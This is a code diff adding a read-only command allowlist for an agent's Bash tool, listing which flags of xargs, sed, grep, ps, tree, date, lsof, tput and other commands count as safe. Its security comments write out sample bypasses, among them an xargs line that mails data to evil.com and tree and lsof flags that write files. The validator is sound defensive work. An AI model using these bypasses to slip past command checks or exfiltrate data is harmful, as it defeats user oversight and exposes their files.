@xelauvas/xela-cli 0.1.0

package/src/tools/BashTool/readOnlyValidation.ts

@@ -0,0 +1,1990 @@
+import type { z } from 'zod/v4'
+import { getOriginalCwd } from '../../bootstrap/state.js'
+import {
+  extractOutputRedirections,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import { getCwd } from '../../utils/cwd.js'
+import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import { getPlatform } from '../../utils/platform.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import {
+  containsVulnerableUncPath,
+  DOCKER_READ_ONLY_COMMANDS,
+  EXTERNAL_READONLY_COMMANDS,
+  type FlagArgType,
+  GH_READ_ONLY_COMMANDS,
+  GIT_READ_ONLY_COMMANDS,
+  PYRIGHT_READ_ONLY_COMMANDS,
+  RIPGREP_READ_ONLY_COMMANDS,
+  validateFlags,
+} from '../../utils/shell/readOnlyCommandValidation.js'
+import type { BashTool } from './BashTool.js'
+import { isNormalizedGitCommand } from './bashPermissions.js'
+import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
+import {
+  COMMAND_OPERATION_TYPE,
+  PATH_EXTRACTORS,
+  type PathCommand,
+} from './pathValidation.js'
+import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
+
+// Unified command validation configuration system
+type CommandConfig = {
+  // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
+  safeFlags: Record<string, FlagArgType>
+  // An optional regex that is used for additional validation beyond flag parsing
+  regex?: RegExp
+  // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
+  // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
+  additionalCommandIsDangerousCallback?: (
+    rawCommand: string,
+    args: string[],
+  ) => boolean
+  // When false, the tool does NOT respect POSIX `--` end-of-options.
+  // validateFlags will continue checking flags after `--` instead of breaking.
+  // Default: true (most tools respect `--`).
+  respectsDoubleDash?: boolean
+}
+
+// Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
+// SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
+// they execute arbitrary commands for each search result.
+const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
+  '-h': 'none',
+  '--help': 'none',
+  '-V': 'none',
+  '--version': 'none',
+  '-H': 'none',
+  '--hidden': 'none',
+  '-I': 'none',
+  '--no-ignore': 'none',
+  '--no-ignore-vcs': 'none',
+  '--no-ignore-parent': 'none',
+  '-s': 'none',
+  '--case-sensitive': 'none',
+  '-i': 'none',
+  '--ignore-case': 'none',
+  '-g': 'none',
+  '--glob': 'none',
+  '--regex': 'none',
+  '-F': 'none',
+  '--fixed-strings': 'none',
+  '-a': 'none',
+  '--absolute-path': 'none',
+  // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
+  // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
+  '-L': 'none',
+  '--follow': 'none',
+  '-p': 'none',
+  '--full-path': 'none',
+  '-0': 'none',
+  '--print0': 'none',
+  '-d': 'number',
+  '--max-depth': 'number',
+  '--min-depth': 'number',
+  '--exact-depth': 'number',
+  '-t': 'string',
+  '--type': 'string',
+  '-e': 'string',
+  '--extension': 'string',
+  '-S': 'string',
+  '--size': 'string',
+  '--changed-within': 'string',
+  '--changed-before': 'string',
+  '-o': 'string',
+  '--owner': 'string',
+  '-E': 'string',
+  '--exclude': 'string',
+  '--ignore-file': 'string',
+  '-c': 'string',
+  '--color': 'string',
+  '-j': 'number',
+  '--threads': 'number',
+  '--max-buffer-time': 'string',
+  '--max-results': 'number',
+  '-1': 'none',
+  '-q': 'none',
+  '--quiet': 'none',
+  '--show-errors': 'none',
+  '--strip-cwd-prefix': 'none',
+  '--one-file-system': 'none',
+  '--prune': 'none',
+  '--search-path': 'string',
+  '--base-directory': 'string',
+  '--path-separator': 'string',
+  '--batch-size': 'number',
+  '--no-require-git': 'none',
+  '--hyperlink': 'string',
+  '--and': 'string',
+  '--format': 'string',
+}
+
+// Central configuration for allowlist-based command validation
+// All commands and flags here should only allow reading files. They should not
+// allow writing to files, executing code, or creating network requests.
+const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
+  xargs: {
+    safeFlags: {
+      '-I': '{}',
+      // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
+      // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
+      // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
+      // flag takes NO arg and `X` becomes the next positional (target command).
+      //
+      // `-i` (`i::` — optional replace-str):
+      //   echo /usr/sbin/sendm | xargs -it tail a@evil.com
+      //   validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
+      //   GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
+      //
+      // `-e` (`e::` — optional eof-str):
+      //   cat data | xargs -e EOF echo foo
+      //   validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
+      //   GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
+      //   → executes binary named EOF from PATH → CODE EXEC (malicious repo)
+      //
+      // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
+      // arg) instead — both validator and xargs agree on argument consumption.
+      // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
+      '-n': 'number',
+      '-P': 'number',
+      '-L': 'number',
+      '-s': 'number',
+      '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
+      '-0': 'none',
+      '-t': 'none',
+      '-r': 'none',
+      '-x': 'none',
+      '-d': 'char',
+    },
+  },
+  // All git read-only commands from shared validation map
+  ...GIT_READ_ONLY_COMMANDS,
+  file: {
+    safeFlags: {
+      // Output format flags
+      '--brief': 'none',
+      '-b': 'none',
+      '--mime': 'none',
+      '-i': 'none',
+      '--mime-type': 'none',
+      '--mime-encoding': 'none',
+      '--apple': 'none',
+      // Behavior flags
+      '--check-encoding': 'none',
+      '-c': 'none',
+      '--exclude': 'string',
+      '--exclude-quiet': 'string',
+      '--print0': 'none',
+      '-0': 'none',
+      '-f': 'string',
+      '-F': 'string',
+      '--separator': 'string',
+      '--help': 'none',
+      '--version': 'none',
+      '-v': 'none',
+      // Following/dereferencing
+      '--no-dereference': 'none',
+      '-h': 'none',
+      '--dereference': 'none',
+      '-L': 'none',
+      // Magic file options (safe when just reading)
+      '--magic-file': 'string',
+      '-m': 'string',
+      // Other safe options
+      '--keep-going': 'none',
+      '-k': 'none',
+      '--list': 'none',
+      '-l': 'none',
+      '--no-buffer': 'none',
+      '-n': 'none',
+      '--preserve-date': 'none',
+      '-p': 'none',
+      '--raw': 'none',
+      '-r': 'none',
+      '-s': 'none',
+      '--special-files': 'none',
+      // Uncompress flag for archives
+      '--uncompress': 'none',
+      '-z': 'none',
+    },
+  },
+  sed: {
+    safeFlags: {
+      // Expression flags
+      '--expression': 'string',
+      '-e': 'string',
+      // Output control
+      '--quiet': 'none',
+      '--silent': 'none',
+      '-n': 'none',
+      // Extended regex
+      '--regexp-extended': 'none',
+      '-r': 'none',
+      '--posix': 'none',
+      '-E': 'none',
+      // Line handling
+      '--line-length': 'number',
+      '-l': 'number',
+      '--zero-terminated': 'none',
+      '-z': 'none',
+      '--separate': 'none',
+      '-s': 'none',
+      '--unbuffered': 'none',
+      '-u': 'none',
+      // Debugging/help
+      '--debug': 'none',
+      '--help': 'none',
+      '--version': 'none',
+    },
+    additionalCommandIsDangerousCallback: (
+      rawCommand: string,
+      _args: string[],
+    ) => !sedCommandIsAllowedByAllowlist(rawCommand),
+  },
+  sort: {
+    safeFlags: {
+      // Sorting options
+      '--ignore-leading-blanks': 'none',
+      '-b': 'none',
+      '--dictionary-order': 'none',
+      '-d': 'none',
+      '--ignore-case': 'none',
+      '-f': 'none',
+      '--general-numeric-sort': 'none',
+      '-g': 'none',
+      '--human-numeric-sort': 'none',
+      '-h': 'none',
+      '--ignore-nonprinting': 'none',
+      '-i': 'none',
+      '--month-sort': 'none',
+      '-M': 'none',
+      '--numeric-sort': 'none',
+      '-n': 'none',
+      '--random-sort': 'none',
+      '-R': 'none',
+      '--reverse': 'none',
+      '-r': 'none',
+      '--sort': 'string',
+      '--stable': 'none',
+      '-s': 'none',
+      '--unique': 'none',
+      '-u': 'none',
+      '--version-sort': 'none',
+      '-V': 'none',
+      '--zero-terminated': 'none',
+      '-z': 'none',
+      // Key specifications
+      '--key': 'string',
+      '-k': 'string',
+      '--field-separator': 'string',
+      '-t': 'string',
+      // Checking
+      '--check': 'none',
+      '-c': 'none',
+      '--check-char-order': 'none',
+      '-C': 'none',
+      // Merging
+      '--merge': 'none',
+      '-m': 'none',
+      // Buffer size
+      '--buffer-size': 'string',
+      '-S': 'string',
+      // Parallel processing
+      '--parallel': 'number',
+      // Batch size
+      '--batch-size': 'number',
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  man: {
+    safeFlags: {
+      // Safe display options
+      '-a': 'none', // Display all manual pages
+      '--all': 'none', // Same as -a
+      '-d': 'none', // Debug mode
+      '-f': 'none', // Emulate whatis
+      '--whatis': 'none', // Same as -f
+      '-h': 'none', // Help
+      '-k': 'none', // Emulate apropos
+      '--apropos': 'none', // Same as -k
+      '-l': 'string', // Local file (safe for reading, Linux only)
+      '-w': 'none', // Display location instead of content
+
+      // Safe formatting options
+      '-S': 'string', // Restrict manual sections
+      '-s': 'string', // Same as -S for whatis/apropos mode
+    },
+  },
+  // help command - only allow bash builtin help flags to prevent attacks when
+  // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
+  // man's -P flag allows arbitrary command execution via pager.
+  help: {
+    safeFlags: {
+      '-d': 'none', // Output short description for each topic
+      '-m': 'none', // Display usage in pseudo-manpage format
+      '-s': 'none', // Output only a short usage synopsis
+    },
+  },
+  netstat: {
+    safeFlags: {
+      // Safe display options
+      '-a': 'none', // Show all sockets
+      '-L': 'none', // Show listen queue sizes
+      '-l': 'none', // Print full IPv6 address
+      '-n': 'none', // Show network addresses as numbers
+
+      // Safe filtering options
+      '-f': 'string', // Address family (inet, inet6, unix, vsock)
+
+      // Safe interface options
+      '-g': 'none', // Show multicast group membership
+      '-i': 'none', // Show interface state
+      '-I': 'string', // Specific interface
+
+      // Safe statistics options
+      '-s': 'none', // Show per-protocol statistics
+
+      // Safe routing options
+      '-r': 'none', // Show routing tables
+
+      // Safe mbuf options
+      '-m': 'none', // Show memory management statistics
+
+      // Safe other options
+      '-v': 'none', // Increase verbosity
+    },
+  },
+  ps: {
+    safeFlags: {
+      // UNIX-style process selection (these are safe)
+      '-e': 'none', // Select all processes
+      '-A': 'none', // Select all processes (same as -e)
+      '-a': 'none', // Select all with tty except session leaders
+      '-d': 'none', // Select all except session leaders
+      '-N': 'none', // Negate selection
+      '--deselect': 'none',
+
+      // UNIX-style output format (safe, doesn't show env)
+      '-f': 'none', // Full format
+      '-F': 'none', // Extra full format
+      '-l': 'none', // Long format
+      '-j': 'none', // Jobs format
+      '-y': 'none', // Don't show flags
+
+      // Output modifiers (safe ones)
+      '-w': 'none', // Wide output
+      '-ww': 'none', // Unlimited width
+      '--width': 'number',
+      '-c': 'none', // Show scheduler info
+      '-H': 'none', // Show process hierarchy
+      '--forest': 'none',
+      '--headers': 'none',
+      '--no-headers': 'none',
+      '-n': 'string', // Set namelist file
+      '--sort': 'string',
+
+      // Thread display
+      '-L': 'none', // Show threads
+      '-T': 'none', // Show threads
+      '-m': 'none', // Show threads after processes
+
+      // Process selection by criteria
+      '-C': 'string', // By command name
+      '-G': 'string', // By real group ID
+      '-g': 'string', // By session or effective group
+      '-p': 'string', // By PID
+      '--pid': 'string',
+      '-q': 'string', // Quick mode by PID
+      '--quick-pid': 'string',
+      '-s': 'string', // By session ID
+      '--sid': 'string',
+      '-t': 'string', // By tty
+      '--tty': 'string',
+      '-U': 'string', // By real user ID
+      '-u': 'string', // By effective user ID
+      '--user': 'string',
+
+      // Help/version
+      '--help': 'none',
+      '--info': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+    // Block BSD-style 'e' modifier which shows environment variables
+    // BSD options are letter-only tokens without a leading dash
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
+      // A BSD-style option is a token of only letters (no leading dash) containing 'e'
+      return args.some(
+        a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
+      )
+    },
+  },
+  base64: {
+    respectsDoubleDash: false, // macOS base64 does not respect POSIX --
+    safeFlags: {
+      // Safe decode options
+      '-d': 'none', // Decode
+      '-D': 'none', // Decode (macOS)
+      '--decode': 'none', // Decode
+
+      // Safe formatting options
+      '-b': 'number', // Break lines at num (macOS)
+      '--break': 'number', // Break lines at num (macOS)
+      '-w': 'number', // Wrap lines at COLS (Linux)
+      '--wrap': 'number', // Wrap lines at COLS (Linux)
+
+      // Safe input options (read from file, not write)
+      '-i': 'string', // Input file (safe for reading)
+      '--input': 'string', // Input file (safe for reading)
+
+      // Safe misc options
+      '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
+      '-h': 'none', // Help
+      '--help': 'none', // Help
+      '--version': 'none', // Version
+    },
+  },
+  grep: {
+    safeFlags: {
+      // Pattern flags
+      '-e': 'string', // Pattern
+      '--regexp': 'string',
+      '-f': 'string', // File with patterns
+      '--file': 'string',
+      '-F': 'none', // Fixed strings
+      '--fixed-strings': 'none',
+      '-G': 'none', // Basic regexp (default)
+      '--basic-regexp': 'none',
+      '-E': 'none', // Extended regexp
+      '--extended-regexp': 'none',
+      '-P': 'none', // Perl regexp
+      '--perl-regexp': 'none',
+
+      // Matching control
+      '-i': 'none', // Ignore case
+      '--ignore-case': 'none',
+      '--no-ignore-case': 'none',
+      '-v': 'none', // Invert match
+      '--invert-match': 'none',
+      '-w': 'none', // Word regexp
+      '--word-regexp': 'none',
+      '-x': 'none', // Line regexp
+      '--line-regexp': 'none',
+
+      // Output control
+      '-c': 'none', // Count
+      '--count': 'none',
+      '--color': 'string',
+      '--colour': 'string',
+      '-L': 'none', // Files without match
+      '--files-without-match': 'none',
+      '-l': 'none', // Files with matches
+      '--files-with-matches': 'none',
+      '-m': 'number', // Max count
+      '--max-count': 'number',
+      '-o': 'none', // Only matching
+      '--only-matching': 'none',
+      '-q': 'none', // Quiet
+      '--quiet': 'none',
+      '--silent': 'none',
+      '-s': 'none', // No messages
+      '--no-messages': 'none',
+
+      // Output line prefix
+      '-b': 'none', // Byte offset
+      '--byte-offset': 'none',
+      '-H': 'none', // With filename
+      '--with-filename': 'none',
+      '-h': 'none', // No filename
+      '--no-filename': 'none',
+      '--label': 'string',
+      '-n': 'none', // Line number
+      '--line-number': 'none',
+      '-T': 'none', // Initial tab
+      '--initial-tab': 'none',
+      '-u': 'none', // Unix byte offsets
+      '--unix-byte-offsets': 'none',
+      '-Z': 'none', // Null after filename
+      '--null': 'none',
+      '-z': 'none', // Null data
+      '--null-data': 'none',
+
+      // Context control
+      '-A': 'number', // After context
+      '--after-context': 'number',
+      '-B': 'number', // Before context
+      '--before-context': 'number',
+      '-C': 'number', // Context
+      '--context': 'number',
+      '--group-separator': 'string',
+      '--no-group-separator': 'none',
+
+      // File and directory selection
+      '-a': 'none', // Text (process binary as text)
+      '--text': 'none',
+      '--binary-files': 'string',
+      '-D': 'string', // Devices
+      '--devices': 'string',
+      '-d': 'string', // Directories
+      '--directories': 'string',
+      '--exclude': 'string',
+      '--exclude-from': 'string',
+      '--exclude-dir': 'string',
+      '--include': 'string',
+      '-r': 'none', // Recursive
+      '--recursive': 'none',
+      '-R': 'none', // Dereference-recursive
+      '--dereference-recursive': 'none',
+
+      // Other options
+      '--line-buffered': 'none',
+      '-U': 'none', // Binary
+      '--binary': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+  },
+  ...RIPGREP_READ_ONLY_COMMANDS,
+  // Checksum commands - these only read files and compute/verify hashes
+  // All flags are safe as they only affect output format or verification behavior
+  sha256sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  sha1sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  md5sum: {
+    safeFlags: {
+      // Mode flags
+      '-b': 'none', // Binary mode
+      '--binary': 'none',
+      '-t': 'none', // Text mode
+      '--text': 'none',
+
+      // Check/verify flags
+      '-c': 'none', // Verify checksums from file
+      '--check': 'none',
+      '--ignore-missing': 'none', // Ignore missing files during check
+      '--quiet': 'none', // Quiet mode during check
+      '--status': 'none', // Don't output, exit code shows success
+      '--strict': 'none', // Exit non-zero for improperly formatted lines
+      '-w': 'none', // Warn about improperly formatted lines
+      '--warn': 'none',
+
+      // Output format flags
+      '--tag': 'none', // BSD-style output
+      '-z': 'none', // End output lines with NUL
+      '--zero': 'none',
+
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
+  // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
+  tree: {
+    safeFlags: {
+      // Listing options
+      '-a': 'none', // All files
+      '-d': 'none', // Directories only
+      '-l': 'none', // Follow symlinks
+      '-f': 'none', // Full path prefix
+      '-x': 'none', // Stay on current filesystem
+      '-L': 'number', // Max depth
+      // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
+      // WRITES 00Tree.html files to every subdirectory at the depth boundary.
+      // From man tree (< 2.1.0): "-R — at each of them execute tree again
+      // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
+      // depth" was misleading — the "rerun" includes a hardcoded -o file write.
+      // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
+      // subdir at depth 2. FILE WRITE, zero permissions.
+      '-P': 'string', // Include pattern
+      '-I': 'string', // Exclude pattern
+      '--gitignore': 'none',
+      '--gitfile': 'string',
+      '--ignore-case': 'none',
+      '--matchdirs': 'none',
+      '--metafirst': 'none',
+      '--prune': 'none',
+      '--info': 'none',
+      '--infofile': 'string',
+      '--noreport': 'none',
+      '--charset': 'string',
+      '--filelimit': 'number',
+      // File display options
+      '-q': 'none', // Non-printable as ?
+      '-N': 'none', // Non-printable as-is
+      '-Q': 'none', // Quote filenames
+      '-p': 'none', // Protections
+      '-u': 'none', // Owner
+      '-g': 'none', // Group
+      '-s': 'none', // Size bytes
+      '-h': 'none', // Human-readable sizes
+      '--si': 'none',
+      '--du': 'none',
+      '-D': 'none', // Last modification time
+      '--timefmt': 'string',
+      '-F': 'none', // Append indicator
+      '--inodes': 'none',
+      '--device': 'none',
+      // Sorting options
+      '-v': 'none', // Version sort
+      '-t': 'none', // Sort by mtime
+      '-c': 'none', // Sort by ctime
+      '-U': 'none', // Unsorted
+      '-r': 'none', // Reverse sort
+      '--dirsfirst': 'none',
+      '--filesfirst': 'none',
+      '--sort': 'string',
+      // Graphics/output options
+      '-i': 'none', // No indentation lines
+      '-A': 'none', // ANSI line graphics
+      '-S': 'none', // CP437 line graphics
+      '-n': 'none', // No color
+      '-C': 'none', // Color
+      '-X': 'none', // XML output
+      '-J': 'none', // JSON output
+      '-H': 'string', // HTML output with base HREF
+      '--nolinks': 'none',
+      '--hintro': 'string',
+      '--houtro': 'string',
+      '-T': 'string', // HTML title
+      '--hyperlink': 'none',
+      '--scheme': 'string',
+      '--authority': 'string',
+      // Input options (read from file, not write)
+      '--fromfile': 'none',
+      '--fromtabfile': 'none',
+      '--fflinks': 'none',
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  // date command - moved from READONLY_COMMANDS because -s/--set can set system time
+  // Also -f/--file can be used to read dates from file and set time
+  // We only allow safe display options
+  date: {
+    safeFlags: {
+      // Display options (safe - don't modify system time)
+      '-d': 'string', // --date=STRING - display time described by STRING
+      '--date': 'string',
+      '-r': 'string', // --reference=FILE - display file's modification time
+      '--reference': 'string',
+      '-u': 'none', // --utc - use UTC
+      '--utc': 'none',
+      '--universal': 'none',
+      // Output format options
+      '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
+      '--iso-8601': 'string',
+      '-R': 'none', // --rfc-email
+      '--rfc-email': 'none',
+      '--rfc-3339': 'string',
+      // Debug/help
+      '--debug': 'none',
+      '--help': 'none',
+      '--version': 'none',
+    },
+    // Dangerous flags NOT included (blocked by omission):
+    // -s / --set - sets system time
+    // -f / --file - reads dates from file (can be used to set time in batch)
+    // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
+    // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // args are already parsed tokens after "date"
+      // Flags that require an argument
+      const flagsWithArgs = new Set([
+        '-d',
+        '--date',
+        '-r',
+        '--reference',
+        '--iso-8601',
+        '--rfc-3339',
+      ])
+      let i = 0
+      while (i < args.length) {
+        const token = args[i]!
+        // Skip flags and their arguments
+        if (token.startsWith('--') && token.includes('=')) {
+          // Long flag with =value, already consumed
+          i++
+        } else if (token.startsWith('-')) {
+          // Flag - check if it takes an argument
+          if (flagsWithArgs.has(token)) {
+            i += 2 // Skip flag and its argument
+          } else {
+            i++ // Just skip the flag
+          }
+        } else {
+          // Positional argument - must start with + for format strings
+          // Anything else (like MMDDhhmm) could set system time
+          if (!token.startsWith('+')) {
+            return true // Dangerous
+          }
+          i++
+        }
+      }
+      return false // Safe
+    },
+  },
+  // hostname command - moved from READONLY_COMMANDS because positional args set hostname
+  // Also -F/--file sets hostname from file, -b/--boot sets default hostname
+  // We only allow safe display options and BLOCK any positional arguments
+  hostname: {
+    safeFlags: {
+      // Display options only (safe)
+      '-f': 'none', // --fqdn - display FQDN
+      '--fqdn': 'none',
+      '--long': 'none',
+      '-s': 'none', // --short - display short name
+      '--short': 'none',
+      '-i': 'none', // --ip-address
+      '--ip-address': 'none',
+      '-I': 'none', // --all-ip-addresses
+      '--all-ip-addresses': 'none',
+      '-a': 'none', // --alias
+      '--alias': 'none',
+      '-d': 'none', // --domain
+      '--domain': 'none',
+      '-A': 'none', // --all-fqdns
+      '--all-fqdns': 'none',
+      '-v': 'none', // --verbose
+      '--verbose': 'none',
+      '-h': 'none', // --help
+      '--help': 'none',
+      '-V': 'none', // --version
+      '--version': 'none',
+    },
+    // CRITICAL: Block any positional arguments - they set the hostname
+    // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
+    // Use regex to ensure no positional args after flags
+    regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
+  },
+  // info command - moved from READONLY_COMMANDS because -o/--output writes to files
+  // Also --dribble writes keystrokes to file, --init-file loads custom config
+  // We only allow safe display/navigation options
+  info: {
+    safeFlags: {
+      // Navigation/display options (safe)
+      '-f': 'string', // --file - specify manual file to read
+      '--file': 'string',
+      '-d': 'string', // --directory - search path
+      '--directory': 'string',
+      '-n': 'string', // --node - specify node
+      '--node': 'string',
+      '-a': 'none', // --all
+      '--all': 'none',
+      '-k': 'string', // --apropos - search
+      '--apropos': 'string',
+      '-w': 'none', // --where - show location
+      '--where': 'none',
+      '--location': 'none',
+      '--show-options': 'none',
+      '--vi-keys': 'none',
+      '--subnodes': 'none',
+      '-h': 'none',
+      '--help': 'none',
+      '--usage': 'none',
+      '--version': 'none',
+    },
+    // Dangerous flags NOT included (blocked by omission):
+    // -o / --output - writes output to file
+    // --dribble - records keystrokes to file
+    // --init-file - loads custom config (potential code execution)
+    // --restore - replays keystrokes from file
+  },
+
+  lsof: {
+    safeFlags: {
+      '-?': 'none',
+      '-h': 'none',
+      '-v': 'none',
+      '-a': 'none',
+      '-b': 'none',
+      '-C': 'none',
+      '-l': 'none',
+      '-n': 'none',
+      '-N': 'none',
+      '-O': 'none',
+      '-P': 'none',
+      '-Q': 'none',
+      '-R': 'none',
+      '-t': 'none',
+      '-U': 'none',
+      '-V': 'none',
+      '-X': 'none',
+      '-H': 'none',
+      '-E': 'none',
+      '-F': 'none',
+      '-g': 'none',
+      '-i': 'none',
+      '-K': 'none',
+      '-L': 'none',
+      '-o': 'none',
+      '-r': 'none',
+      '-s': 'none',
+      '-S': 'none',
+      '-T': 'none',
+      '-x': 'none',
+      '-A': 'string',
+      '-c': 'string',
+      '-d': 'string',
+      '-e': 'string',
+      '-k': 'string',
+      '-p': 'string',
+      '-u': 'string',
+      // OMITTED (writes to disk): -D (device cache file build/update)
+    },
+    // Block +m (create mount supplement file) — writes to disk.
+    // +prefix flags are treated as positional args by validateFlags,
+    // so we must catch them here. lsof accepts +m<path> (attached path, no space)
+    // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
+    additionalCommandIsDangerousCallback: (_rawCommand, args) =>
+      args.some(a => a === '+m' || a.startsWith('+m')),
+  },
+
+  pgrep: {
+    safeFlags: {
+      '-d': 'string',
+      '--delimiter': 'string',
+      '-l': 'none',
+      '--list-name': 'none',
+      '-a': 'none',
+      '--list-full': 'none',
+      '-v': 'none',
+      '--inverse': 'none',
+      '-w': 'none',
+      '--lightweight': 'none',
+      '-c': 'none',
+      '--count': 'none',
+      '-f': 'none',
+      '--full': 'none',
+      '-g': 'string',
+      '--pgroup': 'string',
+      '-G': 'string',
+      '--group': 'string',
+      '-i': 'none',
+      '--ignore-case': 'none',
+      '-n': 'none',
+      '--newest': 'none',
+      '-o': 'none',
+      '--oldest': 'none',
+      '-O': 'string',
+      '--older': 'string',
+      '-P': 'string',
+      '--parent': 'string',
+      '-s': 'string',
+      '--session': 'string',
+      '-t': 'string',
+      '--terminal': 'string',
+      '-u': 'string',
+      '--euid': 'string',
+      '-U': 'string',
+      '--uid': 'string',
+      '-x': 'none',
+      '--exact': 'none',
+      '-F': 'string',
+      '--pidfile': 'string',
+      '-L': 'none',
+      '--logpidfile': 'none',
+      '-r': 'string',
+      '--runstates': 'string',
+      '--ns': 'string',
+      '--nslist': 'string',
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+  },
+
+  tput: {
+    safeFlags: {
+      '-T': 'string',
+      '-V': 'none',
+      '-x': 'none',
+      // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
+      // It must NOT be in safeFlags because validateFlags unbundles combined
+      // short flags (e.g., -xS → -x + -S), but the callback receives the raw
+      // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
+      // from safeFlags ensures validateFlags rejects it (bundled or not) before
+      // the callback runs. The callback's -S check is defense-in-depth.
+    },
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // Capabilities that modify terminal state or could be harmful.
+      // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
+      // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
+      // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
+      // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
+      // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
+      // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
+      // rf is reset file (analogous to if/init_file).
+      const DANGEROUS_CAPABILITIES = new Set([
+        'init',
+        'reset',
+        'rs1',
+        'rs2',
+        'rs3',
+        'is1',
+        'is2',
+        'is3',
+        'iprog',
+        'if',
+        'rf',
+        'clear',
+        'flash',
+        'mc0',
+        'mc4',
+        'mc5',
+        'mc5i',
+        'mc5p',
+        'pfkey',
+        'pfloc',
+        'pfx',
+        'pfxl',
+        'smcup',
+        'rmcup',
+      ])
+      const flagsWithArgs = new Set(['-T'])
+      let i = 0
+      let afterDoubleDash = false
+      while (i < args.length) {
+        const token = args[i]!
+        if (token === '--') {
+          afterDoubleDash = true
+          i++
+        } else if (!afterDoubleDash && token.startsWith('-')) {
+          // Defense-in-depth: block -S even if it somehow passes validateFlags
+          if (token === '-S') return true
+          // Also check for -S bundled with other flags (e.g., -xS)
+          if (
+            !token.startsWith('--') &&
+            token.length > 2 &&
+            token.includes('S')
+          )
+            return true
+          if (flagsWithArgs.has(token)) {
+            i += 2
+          } else {
+            i++
+          }
+        } else {
+          if (DANGEROUS_CAPABILITIES.has(token)) return true
+          i++
+        }
+      }
+      return false
+    },
+  },
+
